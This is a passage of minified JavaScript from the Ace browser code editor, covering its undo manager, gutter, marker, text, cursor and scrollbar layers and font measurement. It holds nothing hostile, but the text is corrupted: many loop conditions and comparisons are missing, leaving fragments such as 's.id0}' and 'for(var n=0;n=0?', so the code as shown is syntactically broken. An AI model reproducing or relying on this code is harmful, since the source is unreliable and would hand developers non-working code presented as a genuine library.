this.lastDeltas=null,this.$rev},this.markIgnored=function(e,t){null==t&&(t=this.$rev+1);for(var i=this.$undoStack,n=i.length;n--;){var s=i[n][0];if(s.id<=e)break;s.id0},this.canRedo=function(){return this.$redoStack.length>0},this.bookmark=function(e){null==e&&(e=this.$rev),this.mark=e},this.isAtBookmark=function(){return this.$rev===this.mark},this.toJSON=function(){},this.fromJSON=function(){},this.hasUndo=this.canUndo,this.hasRedo=this.canRedo,this.isClean=this.isAtBookmark,this.markClean=this.bookmark,this.$prettyPrint=function(e){return e?a(e):a(this.$undoStack)+"\n---\n"+a(this.$redoStack)}}).call(n.prototype);var s=e("./range").Range,o=s.comparePoints;s.comparePoints;function r(e){return{row:e.row,column:e.column}}function a(e){if(e=e||this,Array.isArray(e))return e.map(a).join("\n");var t="";return e.action?(t="insert"==e.action?"+":"-",t+="["+e.lines+"]"):e.value&&(t=Array.isArray(e.value)?e.value.map(l).join("\n"):l(e.value)),e.start&&(t+=l(e)),(e.id||e.rev)&&(t+="\t("+(e.id||e.rev)+")"),t}function l(e){return e.start.row+":"+e.start.column+"=>"+e.end.row+":"+e.end.column}function h(e,t){var i="insert"==e.action,n="insert"==t.action;if(i&&n)if(o(t.start,e.end)>=0)d(t,e,-1);else{if(!(o(t.start,e.start)<=0))return null;d(e,t,1)}else if(i&&!n)if(o(t.start,e.end)>=0)d(t,e,-1);else{if(!(o(t.end,e.start)<=0))return null;d(e,t,-1)}else if(!i&&n)if(o(t.start,e.start)>=0)d(t,e,1);else{if(!(o(t.start,e.start)<=0))return null;d(e,t,1)}else if(!i&&!n)if(o(t.start,e.start)>=0)d(t,e,1);else{if(!(o(t.end,e.start)<=0))return null;d(e,t,-1)}return[t,e]}function c(e,t){for(var i=e.length;i--;)for(var n=0;n=0?d(e,t,-1):(o(e.start,t.start)<=0||d(e,s.fromPoints(t.start,e.start),-1),d(t,e,1));else if(!i&&n)o(t.start,e.end)>=0?d(t,e,-1):(o(t.start,e.start)<=0||d(t,s.fromPoints(e.start,t.start),-1),d(e,t,1));else if(!i&&!n)if(o(t.start,e.end)>=0)d(t,e,-1);else{var r,a;if(!(o(t.end,e.start)<=0))return o(e.start,t.start)<0&&(r=e,e=f(e,t.start)),o(e.end,t.end)>0&&(a=f(e,t.end)),g(t.end,e.start,e.end,-1),a&&!r&&(e.lines=a.lines,e.start=a.start,e.end=a.end,a=e),[t,r,a].filter(Boolean);d(e,t,-1)}return[t,e]}function d(e,t,i){g(e.start,t.start,t.end,i),g(e.end,t.start,t.end,i)}function g(e,t,i,n){e.row==(1==n?t:i).row&&(e.column+=n*(i.column-t.column)),e.row+=n*(i.row-t.row)}function f(e,t){var i=e.lines,n=e.end;e.end=r(t);var s=e.end.row-e.start.row,o=i.splice(s,i.length),a=s?t.column:t.column-e.start.column;return i.push(o[0].substring(0,a)),o[0]=o[0].substr(a),{start:r(t),end:n,lines:o,action:e.action}}function m(e,t){t=function(e){return{start:r(e.start),end:r(e.end),action:e.action,lines:e.lines.slice()}}(t);for(var i=e.length;i--;){for(var n=e[i],s=0;so&&(l=s.end.row+1,o=(s=t.getNextFoldLine(l,s))?s.start.row:1/0),l>n){for(;this.$lines.getLength()>a+1;)this.$lines.pop();break}(r=this.$lines.get(++a))?r.row=l:(r=this.$lines.createCell(l,e,this.session,h),this.$lines.push(r)),this.$renderCell(r,e,s,l),l++}this._signal("afterRender"),this.$updateGutterWidth(e)},this.$updateGutterWidth=function(e){var t=this.session,i=t.gutterRenderer||this.$renderer,n=t.$firstLineNumber,s=this.$lines.last()?this.$lines.last().text:"";(this.$fixedWidth||t.$useWrapMode)&&(s=t.getLength()+n-1);var o=i?i.getWidth(t,s,e):s.toString().length*e.characterWidth,r=this.$padding||this.$computePadding();(o+=r.left+r.right)===this.gutterWidth||isNaN(o)||(this.gutterWidth=o,this.element.parentNode.style.width=this.element.style.width=Math.ceil(this.gutterWidth)+"px",this._signal("changeGutterWidth",o))},this.$updateCursorRow=function(){if(this.$highlightGutterLine){var e=this.session.selection.getCursor();this.$cursorRow!==e.row&&(this.$cursorRow=e.row)}},this.updateLineHighlight=function(){if(this.$highlightGutterLine){var e=this.session.selection.cursor.row;if(this.$cursorRow=e,!this.$cursorCell||this.$cursorCell.row!=e){this.$cursorCell&&(this.$cursorCell.element.className=this.$cursorCell.element.className.replace("ace_gutter-active-line ",""));var t=this.$lines.cells;this.$cursorCell=null;for(var i=0;i=this.$cursorRow){if(n.row>this.$cursorRow){var s=this.session.getFoldLine(this.$cursorRow);if(!(i>0&&s&&s.start.row==t[i-1].row))break;n=t[i-1]}n.element.className="ace_gutter-active-line "+n.element.className,this.$cursorCell=n;break}}}}},this.scrollLines=function(e){var t=this.config;if(this.config=e,this.$updateCursorRow(),this.$lines.pageChanged(t,e))return this.update(e);this.$lines.moveContainer(e);var i=Math.min(e.lastRow+e.gutterOffset,this.session.getLength()-1),n=this.oldLastRow;if(this.oldLastRow=i,!t||n0;s--)this.$lines.shift();if(n>i)for(s=this.session.getFoldedRowCount(i+1,n);s>0;s--)this.$lines.pop();e.firstRown&&this.$lines.push(this.$renderLines(e,n+1,i)),this.updateLineHighlight(),this._signal("afterRender"),this.$updateGutterWidth(e)},this.$renderLines=function(e,t,i){for(var n=[],s=t,o=this.session.getNextFoldLine(s),r=o?o.start.row:1/0;s>r&&(s=o.end.row+1,r=(o=this.session.getNextFoldLine(s,o))?o.start.row:1/0),!(s>i);){var a=this.$lines.createCell(s,e,this.session,h);this.$renderCell(a,e,o,s),n.push(a),s++}return n},this.$renderCell=function(e,t,i,s){var o=e.element,r=this.session,a=o.childNodes[0],l=o.childNodes[1],h=r.$firstLineNumber,c=r.$breakpoints,u=r.$decorations,d=r.gutterRenderer||this.$renderer,g=this.$showFoldWidgets&&r.foldWidgets,f=i?i.start.row:Number.MAX_VALUE,m="ace_gutter-cell ";if(this.$highlightGutterLine&&(s==this.$cursorRow||i&&s=f&&this.$cursorRow<=i.end.row)&&(m+="ace_gutter-active-line ",this.$cursorCell!=e&&(this.$cursorCell&&(this.$cursorCell.element.className=this.$cursorCell.element.className.replace("ace_gutter-active-line ","")),this.$cursorCell=e)),c[s]&&(m+=c[s]),u[s]&&(m+=u[s]),this.$annotations[s]&&(m+=this.$annotations[s].className),o.className!=m&&(o.className=m),g){var p=g[s];null==p&&(p=g[s]=r.getFoldWidget(s))}if(p){m="ace_fold-widget ace_"+p;"start"==p&&s==f&&si.right-t.right?"foldWidgets":void 0}}).call(l.prototype),t.Gutter=l})),define("ace/layer/marker",["require","exports","module","ace/range","ace/lib/dom"],(function(e,t,i){"use strict";var n=e("../range").Range,s=e("../lib/dom"),o=function(e){this.element=s.createElement("div"),this.element.className="ace_layer ace_marker-layer",e.appendChild(this.element)};(function(){this.$padding=0,this.setPadding=function(e){this.$padding=e},this.setSession=function(e){this.session=e},this.setMarkers=function(e){this.markers=e},this.elt=function(e,t){var i=-1!=this.i&&this.element.childNodes[this.i];i?this.i++:(i=document.createElement("div"),this.element.appendChild(i),this.i=-1),i.style.cssText=t,i.className=e},this.update=function(e){if(e){var t;for(var i in this.config=e,this.i=0,this.markers){var n=this.markers[i];if(n.range){var s=n.range.clipRows(e.firstRow,e.lastRow);if(!s.isEmpty())if(s=s.toScreenRange(this.session),n.renderer){var o=this.$getTop(s.start.row,e),r=this.$padding+s.start.column*e.characterWidth;n.renderer(t,s,r,o,e)}else"fullLine"==n.type?this.drawFullLineMarker(t,s,n.clazz,e):"screenLine"==n.type?this.drawScreenLineMarker(t,s,n.clazz,e):s.isMultiLine()?"text"==n.type?this.drawTextMarker(t,s,n.clazz,e):this.drawMultiLineMarker(t,s,n.clazz,e):this.drawSingleLineMarker(t,s,n.clazz+" ace_start ace_br15",e)}else n.update(t,this,this.session,e)}if(-1!=this.i)for(;this.id?4:0)|(h==l?8:0)),s,h==l?0:1,o)},this.drawMultiLineMarker=function(e,t,i,n,s){var o=this.$padding,r=n.lineHeight,a=this.$getTop(t.start.row,n),l=o+t.start.column*n.characterWidth;(s=s||"",this.session.$bidiHandler.isBidiRow(t.start.row))?((h=t.clone()).end.row=h.start.row,h.end.column=this.session.getLine(h.start.row).length,this.drawBidiSingleLineMarker(e,h,i+" ace_br1 ace_start",n,null,s)):this.elt(i+" ace_br1 ace_start","height:"+r+"px;right:0;top:"+a+"px;left:"+l+"px;"+(s||""));if(this.session.$bidiHandler.isBidiRow(t.end.row)){var h;(h=t.clone()).start.row=h.end.row,h.start.column=0,this.drawBidiSingleLineMarker(e,h,i+" ace_br12",n,null,s)}else{a=this.$getTop(t.end.row,n);var c=t.end.column*n.characterWidth;this.elt(i+" ace_br12","height:"+r+"px;width:"+c+"px;top:"+a+"px;left:"+o+"px;"+(s||""))}if(!((r=(t.end.row-t.start.row-1)*n.lineHeight)<=0)){a=this.$getTop(t.start.row+1,n);var u=(t.start.column?1:0)|(t.end.column?0:8);this.elt(i+(u?" ace_br"+u:""),"height:"+r+"px;right:0;top:"+a+"px;left:"+o+"px;"+(s||""))}},this.drawSingleLineMarker=function(e,t,i,n,s,o){if(this.session.$bidiHandler.isBidiRow(t.start.row))return this.drawBidiSingleLineMarker(e,t,i,n,s,o);var r=n.lineHeight,a=(t.end.column+(s||0)-t.start.column)*n.characterWidth,l=this.$getTop(t.start.row,n),h=this.$padding+t.start.column*n.characterWidth;this.elt(i,"height:"+r+"px;width:"+a+"px;top:"+l+"px;left:"+h+"px;"+(o||""))},this.drawBidiSingleLineMarker=function(e,t,i,n,s,o){var r=n.lineHeight,a=this.$getTop(t.start.row,n),l=this.$padding;this.session.$bidiHandler.getSelections(t.start.column,t.end.column).forEach((function(e){this.elt(i,"height:"+r+"px;width:"+e.width+(s||0)+"px;top:"+a+"px;left:"+(l+e.left)+"px;"+(o||""))}),this)},this.drawFullLineMarker=function(e,t,i,n,s){var o=this.$getTop(t.start.row,n),r=n.lineHeight;t.start.row!=t.end.row&&(r+=this.$getTop(t.end.row,n)-o),this.elt(i,"height:"+r+"px;top:"+o+"px;left:0;right:0;"+(s||""))},this.drawScreenLineMarker=function(e,t,i,n,s){var o=this.$getTop(t.start.row,n),r=n.lineHeight;this.elt(i,"height:"+r+"px;top:"+o+"px;left:0;right:0;"+(s||""))}}).call(o.prototype),t.Marker=o})),define("ace/layer/text",["require","exports","module","ace/lib/oop","ace/lib/dom","ace/lib/lang","ace/layer/lines","ace/lib/event_emitter"],(function(e,t,i){"use strict";var n=e("../lib/oop"),s=e("../lib/dom"),o=e("../lib/lang"),r=e("./lines").Lines,a=e("../lib/event_emitter").EventEmitter,l=function(e){this.dom=s,this.element=this.dom.createElement("div"),this.element.className="ace_layer ace_text-layer",e.appendChild(this.element),this.$updateEolChar=this.$updateEolChar.bind(this),this.$lines=new r(this.element)};(function(){n.implement(this,a),this.EOF_CHAR="¶",this.EOL_CHAR_LF="¬",this.EOL_CHAR_CRLF="¤",this.EOL_CHAR=this.EOL_CHAR_LF,this.TAB_CHAR="—",this.SPACE_CHAR="·",this.$padding=0,this.MAX_LINE_LENGTH=1e4,this.$updateEolChar=function(){var e=this.session.doc,t="\n"==e.getNewLineCharacter()&&"windows"!=e.getNewLineMode()?this.EOL_CHAR_LF:this.EOL_CHAR_CRLF;if(this.EOL_CHAR!=t)return this.EOL_CHAR=t,!0},this.setPadding=function(e){this.$padding=e,this.element.style.margin="0 "+e+"px"},this.getLineHeight=function(){return this.$fontMetrics.$characterSize.height||0},this.getCharacterWidth=function(){return this.$fontMetrics.$characterSize.width||0},this.$setFontMetrics=function(e){this.$fontMetrics=e,this.$fontMetrics.on("changeCharacterSize",function(e){this._signal("changeCharacterSize",e)}.bind(this)),this.$pollSizeChanges()},this.checkForSizeChanges=function(){this.$fontMetrics.checkForSizeChanges()},this.$pollSizeChanges=function(){return this.$pollSizeChangesTimer=this.$fontMetrics.$pollSizeChanges()},this.setSession=function(e){this.session=e,e&&this.$computeTabString()},this.showInvisibles=!1,this.showSpaces=!1,this.showTabs=!1,this.showEOL=!1,this.setShowInvisibles=function(e){return this.showInvisibles!=e&&(this.showInvisibles=e,"string"==typeof e?(this.showSpaces=/tab/i.test(e),this.showTabs=/space/i.test(e),this.showEOL=/eol/i.test(e)):this.showSpaces=this.showTabs=this.showEOL=e,this.$computeTabString(),!0)},this.displayIndentGuides=!0,this.setDisplayIndentGuides=function(e){return this.displayIndentGuides!=e&&(this.displayIndentGuides=e,this.$computeTabString(),!0)},this.$tabStrings=[],this.onChangeTabSize=this.$computeTabString=function(){var e=this.session.getTabSize();this.tabSize=e;for(var t=this.$tabStrings=[0],i=1;ic&&(a=l.end.row+1,c=(l=this.session.getNextFoldLine(a,l))?l.start.row:1/0),!(a>s);){var u=o[r++];if(u){this.dom.removeChildren(u),this.$renderLine(u,a,a==c&&l),h&&(u.style.top=this.$lines.computeLineTop(a,e,this.session)+"px");var d=e.lineHeight*this.session.getRowLength(a)+"px";u.style.height!=d&&(h=!0,u.style.height=d)}a++}if(h)for(;r0;s--)this.$lines.shift();if(t.lastRow>e.lastRow)for(s=this.session.getFoldedRowCount(e.lastRow+1,t.lastRow);s>0;s--)this.$lines.pop();e.firstRowt.lastRow&&this.$lines.push(this.$renderLinesFragment(e,t.lastRow+1,e.lastRow))},this.$renderLinesFragment=function(e,t,i){for(var n=[],o=t,r=this.session.getNextFoldLine(o),a=r?r.start.row:1/0;o>a&&(o=r.end.row+1,a=(r=this.session.getNextFoldLine(o,r))?r.start.row:1/0),!(o>i);){var l=this.$lines.createCell(o,e,this.session),h=l.element;this.dom.removeChildren(h),s.setStyle(h.style,"height",this.$lines.computeLineHeight(o,e,this.session)+"px"),s.setStyle(h.style,"top",this.$lines.computeLineTop(o,e,this.session)+"px"),this.$renderLine(h,o,o==a&&r),this.$useLineGroups()?h.className="ace_line_group":h.className="ace_line",n.push(l),o++}return n},this.update=function(e){this.$lines.moveContainer(e),this.config=e;for(var t=e.firstRow,i=e.lastRow,n=this.$lines;n.getLength();)n.pop();n.push(this.$renderLinesFragment(e,t,i))},this.$textToken={text:!0,rparen:!0,lparen:!0},this.$renderToken=function(e,t,i,n){for(var s,r=this,a=/(\t)|( +)|([\x00-\x1f\x80-\xa0\xad\u1680\u180E\u2000-\u200f\u2028\u2029\u202F\u205F\uFEFF\uFFF9-\uFFFC\u2066\u2067\u2068\u202A\u202B\u202D\u202E\u202C\u2069]+)|(\u3000)|([\u1100-\u115F\u11A3-\u11A7\u11FA-\u11FF\u2329-\u232A\u2E80-\u2E99\u2E9B-\u2EF3\u2F00-\u2FD5\u2FF0-\u2FFB\u3001-\u303E\u3041-\u3096\u3099-\u30FF\u3105-\u312D\u3131-\u318E\u3190-\u31BA\u31C0-\u31E3\u31F0-\u321E\u3220-\u3247\u3250-\u32FE\u3300-\u4DBF\u4E00-\uA48C\uA490-\uA4C6\uA960-\uA97C\uAC00-\uD7A3\uD7B0-\uD7C6\uD7CB-\uD7FB\uF900-\uFAFF\uFE10-\uFE19\uFE30-\uFE52\uFE54-\uFE66\uFE68-\uFE6B\uFF01-\uFF60\uFFE0-\uFFE6]|[\uD800-\uDBFF][\uDC00-\uDFFF])/g,l=this.dom.createFragment(this.element),h=0;s=a.exec(n);){var c=s[1],u=s[2],d=s[3],g=s[4],f=s[5];if(r.showSpaces||!u){var m=h!=s.index?n.slice(h,s.index):"";if(h=s.index+s[0].length,m&&l.appendChild(this.dom.createTextNode(m,this.element)),c){var p=r.session.getScreenTabSize(t+s.index);l.appendChild(r.$tabStrings[p].cloneNode(!0)),t+=p-1}else if(u){if(r.showSpaces)(w=this.dom.createElement("span")).className="ace_invisible ace_invisible_space",w.textContent=o.stringRepeat(r.SPACE_CHAR,u.length),l.appendChild(w);else l.appendChild(this.com.createTextNode(u,this.element))}else if(d){(w=this.dom.createElement("span")).className="ace_invisible ace_invisible_space ace_invalid",w.textContent=o.stringRepeat(r.SPACE_CHAR,d.length),l.appendChild(w)}else if(g){t+=1,(w=this.dom.createElement("span")).style.width=2*r.config.characterWidth+"px",w.className=r.showSpaces?"ace_cjk ace_invisible ace_invisible_space":"ace_cjk",w.textContent=r.showSpaces?r.SPACE_CHAR:g,l.appendChild(w)}else if(f){t+=1,(w=this.dom.createElement("span")).style.width=2*r.config.characterWidth+"px",w.className="ace_cjk",w.textContent=f,l.appendChild(w)}}}if(l.appendChild(this.dom.createTextNode(h?n.slice(h):n,this.element)),this.$textToken[i.type])e.appendChild(l);else{var v="ace_"+i.type.replace(/\./g," ace_"),w=this.dom.createElement("span");"fold"==i.type&&(w.style.width=i.value.length*this.config.characterWidth+"px"),w.className=v,w.appendChild(l),e.appendChild(w)}return t+n.length},this.renderIndentGuide=function(e,t,i){var n=t.search(this.$indentGuideRe);if(n<=0||n>=i)return t;if(" "==t[0]){for(var s=(n-=n%this.tabSize)/this.tabSize,o=0;o=r;)a=this.$renderToken(l,a,c,u.substring(0,r-n)),u=u.substring(r-n),n=r,l=this.$createLineElement(),e.appendChild(l),l.appendChild(this.dom.createTextNode(o.stringRepeat(" ",i.indent),this.element)),a=0,r=i[++s]||Number.MAX_VALUE;0!=u.length&&(n+=u.length,a=this.$renderToken(l,a,c,u))}}i[i.length-1]>this.MAX_LINE_LENGTH&&this.$renderOverflowMessage(l,a,null,"",!0)},this.$renderSimpleLine=function(e,t){for(var i=0,n=0;nthis.MAX_LINE_LENGTH)return this.$renderOverflowMessage(e,i,s,o);i=this.$renderToken(e,i,s,o)}}},this.$renderOverflowMessage=function(e,t,i,n,s){i&&this.$renderToken(e,t,i,n.slice(0,this.MAX_LINE_LENGTH-t));var o=this.dom.createElement("span");o.className="ace_inline_button ace_keyword ace_toggle_wrap",o.textContent=s?"":"",e.appendChild(o)},this.$renderLine=function(e,t,i){if(i||0==i||(i=this.session.getFoldLine(t)),i)var n=this.$getFoldLineTokens(t,i);else n=this.session.getTokens(t);var s=e;if(n.length){var o=this.session.getRowSplitData(t);if(o&&o.length){this.$renderWrappedLine(e,n,o);s=e.lastChild}else{s=e;this.$useLineGroups()&&(s=this.$createLineElement(),e.appendChild(s)),this.$renderSimpleLine(s,n)}}else this.$useLineGroups()&&(s=this.$createLineElement(),e.appendChild(s));if(this.showEOL&&s){i&&(t=i.end.row);var r=this.dom.createElement("span");r.className="ace_invisible ace_invisible_eol",r.textContent=t==this.session.getLength()-1?this.EOF_CHAR:this.EOL_CHAR,s.appendChild(r)}},this.$getFoldLineTokens=function(e,t){var i=this.session,n=[];var s=i.getTokens(e);return t.walk((function(e,t,o,r,a){null!=e?n.push({type:"fold",value:e}):(a&&(s=i.getTokens(t)),s.length&&function(e,t,i){for(var s=0,o=0;o+e[s].value.lengthi-t&&(r=r.substring(0,i-t)),n.push({type:e[s].type,value:r}),o=t+r.length,s+=1);oi?n.push({type:e[s].type,value:r.substring(0,i-o)}):n.push(e[s]),o+=r.length,s+=1}}(s,r,o))}),t.end.row,this.session.getLine(t.end.row).length),n},this.$useLineGroups=function(){return this.session.getUseWrapMode()},this.destroy=function(){}}).call(l.prototype),t.Text=l})),define("ace/layer/cursor",["require","exports","module","ace/lib/dom"],(function(e,t,i){"use strict";var n=e("../lib/dom"),s=function(e){this.element=n.createElement("div"),this.element.className="ace_layer ace_cursor-layer",e.appendChild(this.element),this.isVisible=!1,this.isBlinking=!0,this.blinkInterval=1e3,this.smoothBlinking=!1,this.cursors=[],this.cursor=this.addCursor(),n.addCssClass(this.element,"ace_hidden-cursors"),this.$updateCursors=this.$updateOpacity.bind(this)};(function(){this.$updateOpacity=function(e){for(var t=this.cursors,i=t.length;i--;)n.setStyle(t[i].style,"opacity",e?"":"0")},this.$startCssAnimation=function(){for(var e=this.cursors,t=e.length;t--;)e[t].style.animationDuration=this.blinkInterval+"ms";this.$isAnimating=!0,setTimeout(function(){this.$isAnimating&&n.addCssClass(this.element,"ace_animate-blinking")}.bind(this))},this.$stopCssAnimation=function(){this.$isAnimating=!1,n.removeCssClass(this.element,"ace_animate-blinking")},this.$padding=0,this.setPadding=function(e){this.$padding=e},this.setSession=function(e){this.session=e},this.setBlinking=function(e){e!=this.isBlinking&&(this.isBlinking=e,this.restartTimer())},this.setBlinkInterval=function(e){e!=this.blinkInterval&&(this.blinkInterval=e,this.restartTimer())},this.setSmoothBlinking=function(e){e!=this.smoothBlinking&&(this.smoothBlinking=e,n.setCssClass(this.element,"ace_smooth-blinking",e),this.$updateCursors(!0),this.restartTimer())},this.addCursor=function(){var e=n.createElement("div");return e.className="ace_cursor",this.element.appendChild(e),this.cursors.push(e),e},this.removeCursor=function(){if(this.cursors.length>1){var e=this.cursors.pop();return e.parentNode.removeChild(e),e}},this.hideCursor=function(){this.isVisible=!1,n.addCssClass(this.element,"ace_hidden-cursors"),this.restartTimer()},this.showCursor=function(){this.isVisible=!0,n.removeCssClass(this.element,"ace_hidden-cursors"),this.restartTimer()},this.restartTimer=function(){var e=this.$updateCursors;if(clearInterval(this.intervalId),clearTimeout(this.timeoutId),this.$stopCssAnimation(),this.smoothBlinking&&(this.$isSmoothBlinking=!1,n.removeCssClass(this.element,"ace_smooth-blinking")),e(!0),this.isBlinking&&this.blinkInterval&&this.isVisible)if(this.smoothBlinking&&(this.$isSmoothBlinking=!0,setTimeout(function(){this.$isSmoothBlinking&&n.addCssClass(this.element,"ace_smooth-blinking")}.bind(this))),n.HAS_CSS_ANIMATION)this.$startCssAnimation();else{var t=function(){this.timeoutId=setTimeout((function(){e(!1)}),.6*this.blinkInterval)}.bind(this);this.intervalId=setInterval((function(){e(!0),t()}),this.blinkInterval),t()}else this.$stopCssAnimation()},this.getPixelPosition=function(e,t){if(!this.config||!this.session)return{left:0,top:0};e||(e=this.session.selection.getCursor());var i=this.session.documentToScreenPosition(e);return{left:this.$padding+(this.session.$bidiHandler.isBidiRow(i.row,e.row)?this.session.$bidiHandler.getPosLeft(i.column):i.column*this.config.characterWidth),top:(i.row-(t?this.config.firstRowScreen:0))*this.config.lineHeight}},this.isCursorInView=function(e,t){return e.top>=0&&e.tope.height+e.offset||r.top<0)&&i>1)){var a=this.cursors[s++]||this.addCursor(),l=a.style;this.drawCursor?this.drawCursor(a,r,e,t[i],this.session):this.isCursorInView(r,e)?(n.setStyle(l,"display","block"),n.translate(a,r.left,r.top),n.setStyle(l,"width",Math.round(e.characterWidth)+"px"),n.setStyle(l,"height",e.lineHeight+"px")):n.setStyle(l,"display","none")}}for(;this.cursors.length>s;)this.removeCursor();var h=this.session.getOverwrite();this.$setOverwrite(h),this.$pixelPos=r,this.restartTimer()},this.drawCursor=null,this.$setOverwrite=function(e){e!=this.overwrite&&(this.overwrite=e,e?n.addCssClass(this.element,"ace_overwrite-cursors"):n.removeCssClass(this.element,"ace_overwrite-cursors"))},this.destroy=function(){clearInterval(this.intervalId),clearTimeout(this.timeoutId)}}).call(s.prototype),t.Cursor=s})),define("ace/scrollbar",["require","exports","module","ace/lib/oop","ace/lib/dom","ace/lib/event","ace/lib/event_emitter"],(function(e,t,i){"use strict";var n=e("./lib/oop"),s=e("./lib/dom"),o=e("./lib/event"),r=e("./lib/event_emitter").EventEmitter,a=32768,l=function(e){this.element=s.createElement("div"),this.element.className="ace_scrollbar ace_scrollbar"+this.classSuffix,this.inner=s.createElement("div"),this.inner.className="ace_scrollbar-inner",this.inner.textContent=" ",this.element.appendChild(this.inner),e.appendChild(this.element),this.setVisible(!1),this.skipEvent=!1,o.addListener(this.element,"scroll",this.onScroll.bind(this)),o.addListener(this.element,"mousedown",o.preventDefault)};(function(){n.implement(this,r),this.setVisible=function(e){this.element.style.display=e?"":"none",this.isVisible=e,this.coeff=1}}).call(l.prototype);var h=function(e,t){l.call(this,e),this.scrollTop=0,this.scrollHeight=0,t.$scrollbarWidth=this.width=s.scrollbarWidth(e.ownerDocument),this.inner.style.width=this.element.style.width=(this.width||15)+5+"px",this.$minWidth=0};n.inherits(h,l),function(){this.classSuffix="-v",this.onScroll=function(){if(!this.skipEvent){if(this.scrollTop=this.element.scrollTop,1!=this.coeff){var e=this.element.clientHeight/this.scrollHeight;this.scrollTop=this.scrollTop*(1-e)/(this.coeff-e)}this._emit("scroll",{data:this.scrollTop})}this.skipEvent=!1},this.getWidth=function(){return Math.max(this.isVisible?this.width:0,this.$minWidth||0)},this.setHeight=function(e){this.element.style.height=e+"px"},this.setInnerHeight=this.setScrollHeight=function(e){this.scrollHeight=e,e>a?(this.coeff=a/e,e=a):1!=this.coeff&&(this.coeff=1),this.inner.style.height=e+"px"},this.setScrollTop=function(e){this.scrollTop!=e&&(this.skipEvent=!0,this.scrollTop=e,this.element.scrollTop=e*this.coeff)}}.call(h.prototype);var c=function(e,t){l.call(this,e),this.scrollLeft=0,this.height=t.$scrollbarWidth,this.inner.style.height=this.element.style.height=(this.height||15)+5+"px"};n.inherits(c,l),function(){this.classSuffix="-h",this.onScroll=function(){this.skipEvent||(this.scrollLeft=this.element.scrollLeft,this._emit("scroll",{data:this.scrollLeft})),this.skipEvent=!1},this.getHeight=function(){return this.isVisible?this.height:0},this.setWidth=function(e){this.element.style.width=e+"px"},this.setInnerWidth=function(e){this.inner.style.width=e+"px"},this.setScrollWidth=function(e){this.inner.style.width=e+"px"},this.setScrollLeft=function(e){this.scrollLeft!=e&&(this.skipEvent=!0,this.scrollLeft=this.element.scrollLeft=e)}}.call(c.prototype),t.ScrollBar=h,t.ScrollBarV=h,t.ScrollBarH=c,t.VScrollBar=h,t.HScrollBar=c})),define("ace/renderloop",["require","exports","module","ace/lib/event"],(function(e,t,i){"use strict";var n=e("./lib/event"),s=function(e,t){this.onRender=e,this.pending=!1,this.changes=0,this.$recursionLimit=2,this.window=t||window;var i=this;this._flush=function(e){i.pending=!1;var t=i.changes;if(t&&(n.blockIdle(100),i.changes=0,i.onRender(t)),i.changes){if(i.$recursionLimit--<0)return;i.schedule()}else i.$recursionLimit=2}};(function(){this.schedule=function(e){this.changes=this.changes|e,this.changes&&!this.pending&&(n.nextFrame(this._flush),this.pending=!0)},this.clear=function(e){var t=this.changes;return this.changes=0,t}}).call(s.prototype),t.RenderLoop=s})),define("ace/layer/font_metrics",["require","exports","module","ace/lib/oop","ace/lib/dom","ace/lib/lang","ace/lib/event","ace/lib/useragent","ace/lib/event_emitter"],(function(e,t,i){var n=e("../lib/oop"),s=e("../lib/dom"),o=e("../lib/lang"),r=e("../lib/event"),a=e("../lib/useragent"),l=e("../lib/event_emitter").EventEmitter,h=256,c="function"==typeof ResizeObserver,u=200,d=t.FontMetrics=function(e){this.el=s.createElement("div"),this.$setMeasureNodeStyles(this.el.style,!0),this.$main=s.createElement("div"),this.$setMeasureNodeStyles(this.$main.style),this.$measureNode=s.createElement("div"),this.$setMeasureNodeStyles(this.$measureNode.style),this.el.appendChild(this.$main),this.el.appendChild(this.$measureNode),e.appendChild(this.el),this.$measureNode.textContent=o.stringRepeat("X",h),this.$characterSize={width:0,height:0},c?this.$addObserver():this.checkForSizeChanges()};(function(){n.implement(this,l),this.$characterSize={width:0,height:0},this.$setMeasureNodeStyles=function(e,t){e.width=e.height="auto",e.left=e.top="0px",e.visibility="hidden",e.position="absolute",e.whiteSpace="pre",a.isIE<8?e["font-family"]="inherit":e.font="inherit",e.overflow=t?"hidden":"visible"},this.checkForSizeChanges=function(e){if(void 0===e&&(e=this.$measureSizes()),e&&(this.$characterSize.width!==e.width||this.$characterSize.height!==e.height)){this.$measureNode.style.fontWeight="bold";var t=this.$measureSizes();this.$measureNode.style.fontWeight="",this.$characterSize=e,this.charSizes=Object.create(null),this.allowBoldFonts=t&&t.width===e.width&&t.height===e.height,this._emit("changeCharacterSize",{data:e})}},this.$addObserver=function(){var e=this;this.$observer=new window.ResizeObserver((function(t){e.checkForSizeChanges()})),this.$observer.observe(this.$measureNode)},this.$pollSizeChanges=function(){if(this.$pollSizeChangesTimer||this.$observer)return this.$pollSizeChangesTimer;var e=this;return this.$pollSizeChangesTimer=r.onIdle((function t(){e.checkForSizeChanges(),r.onIdle(t,500)}),500)},this.setPolling=function(e){e?this.$pollSizeChanges():this.$pollSizeChangesTimer&&(clearInterval(this.$pollSizeChangesTimer),this.$pollSizeChangesTimer=0)},this.$measureSizes=function(e){var t={height:(e||this.$measureNode).clientHeight,width:(e||this.$measureNode).clientWidth/h};return 0===t.width||0===t.height?null:t},this.$measureCharWidth=function(e){return this.$main.textContent=o.stringRepeat(e,h),this.$main.getBoundingClientRect().width/h},this.getCharacterWidth=function(e){var t=this.charSizes[e];return void 0===t&&(t=this.charSizes[e]=this.$measureCharWidth(e)/this.$characterSize.width),t},this.destroy=function(){clearInterval(this.$pollSizeChangesTimer),this.$observer&&this.$observer.disconnect(),this.el&&this.el.parentNode&&this.el.parentNode.removeChild(this.el)},this.$getZoom=function e(t){return t&&t.parentElement?(window.getComputedStyle(t).zoom||1)*e(t.parentElement):1},this.$initTransformMeasureNodes=function(){var e=function(e,t){return["div",{style:"position: absolute;top:"+e+"px;left:"+t+"px;"}]};this.els=s.buildDom([e(0,0),e(u,0),e(0,u),e(u,u)],this.el)},this.transformCoordinates=function(e,t){e&&(e=o(1/this.$getZoom(this.el),e));function i(e,t,i){var n=e[1]*t[0]-e[0]*t[1];return[(-t[1]*i[0]+t[0]*i[1])/n,(+e[1]*i[0]-e[0]*i[1])/n]}function n(e,t){return[e[0]-t[0],e[1]-t[1]]}function s(e,t){return[e[0]+t[0],e[1]+t[1]]}function o(e,t){return[e*t[0],e*t[1]]}function r(e){var t=e.getBoundingClientRect();return[t.left,t.top]}this.els||this.$initTransformMeasureNodes();var a=r(this.els[0]),l=r(this.els[1]),h=r(this.els[2]),c=r(this.els[3]),d=i(n(c,l),n(c,h),n(s(l,h),s(c,a))),g=o(1+d[0],n(l,a)),f=o(1+d[1],n(h,a));if(t){var 